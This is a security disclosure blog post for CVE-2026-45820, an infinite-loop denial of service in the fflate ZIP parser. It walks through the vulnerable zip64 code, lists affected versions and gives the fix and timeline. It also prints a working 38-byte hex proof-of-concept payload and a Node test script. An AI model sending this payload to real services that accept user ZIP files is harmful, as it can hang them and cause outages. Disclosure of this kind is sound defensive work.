Bad Things Also Come in Small Packages: A 38-byte DoS in fflate (CVE-2026-45820)
.png)
We discovered this new vulnerability as part of our abandoned-packages research. Despite what seems like a 2-year hiatus, fflate is one of the few popular npm packages that released a fix for the vulnerabilities we found merely using Sonnet-4.6, giving its 50M+ users a chance to upgrade to a safe version.

fflate
fflate is a small-footprint compression library for javascript:
import { unzipSync } from 'fflate';
const files = unzipSync(archive); // { 'hello.txt': Uint8Array }While the API of fflate is straightforward, parsing a ZIP file isn't, literally. The zip format requires reading an archive back-to-front. A reader needs to find the EOCD footer and uses it to locate the central directory, where each file's name, size, and offset are stored:

What happens for large archives? The original ZIP format is 32-bit so most of the meta-data is stored as 4-byte fields, which is limited to ~4 GiB. ZIP64 is an extension to the format that supports larger sizes and unless you exceed these limitations, it keeps it backwards compatible.
When a field would overflow its allotted 4 bytes, 0xFFFFFFFF is used as a flag and the real 64-bit value is stored in the entry's extra field (arbitrary tagged data). So when a reader sees compressed_size == 0xFFFFFFFF it has to find the record tagged 0x0001, and read the 64-bit values out of it.
To infinity and beyond - CVE-2026-45820
fflate supports parsing the zip64 extension. It checks the extra field, as you can see in (src/index.ts):
...
const b2 = (d: Uint8Array, b: number) => d[b] | (d[b + 1] << 8);
...
...
...
// read zip64 extra field
const z64e = (d: Uint8Array, b: number) => {
for (; b2(d, b) != 1; b += 4 + b2(d, b + 2));
return [b8(d, b + 12), b8(d, b + 4), b8(d, b + 20)] as const;
}The loop only stops when the tag equals 1, without checking that b is still inside the extra field or even inside the buffer. Thanks to the lovely fact that in JS indexing a Uint8Array past its end returns undefined, it will loop indefinitely instead of throwing:

Size isn't everything
Due to some lacking bounds checks in fflate we can overlap structures of the zip format, building a payload that leads to this DoS with merely 38 bytes:

The entire payload:
50 4b 06 06 00 00 00 00 00 00 00 00 00 00 00 00
50 4b 05 06 ff ff ff ff ff ff 00 00 00 00 00 00
01 00 00 00 00 00And testing it is pretty straightforward:
import { unzip } from "fflate";
import { readFileSync } from "fs";
const data = new Uint8Array(readFileSync(process.argv[2]));
unzip(data, () => { console.log("cb") });
console.log("done")Impact
Any service that uses fflate to decompress a user-supplied ZIP file is exposed to the vulnerability CVE-2026-45820, affecting the following versions (inclusive):
- from
0.4.5to0.4.8 - from
0.5.0to0.5.3 - from
0.6.0to0.6.10 - from
0.7.0to0.7.4 - from
0.8.0to0.8.2
Remediation
Thanks to the agile work of Arjun who maintains fflate, you can update to a version with a fix for this vulnerability (CVE-2026-45820).
If upgrading isn't an option, Seal Security provides version-compatible patched builds that backport this fix onto your current version, so you can close the vulnerability without a dependency bump.
Timeline
- 2026-05-12 - Our abandoned-packages agent flags
fflate; we confirm the ZIP64 infinite loop and build a working proof of concept. - 2026-05-14 - vulnerability reported to the maintainer
- 2026-05-16 - The maintainer quickly publishes
fflate0.8.3 with a fix - 2026-07-22 - information made public after embargo, to notify users who haven't updated

%20copy.jpg)


.png)
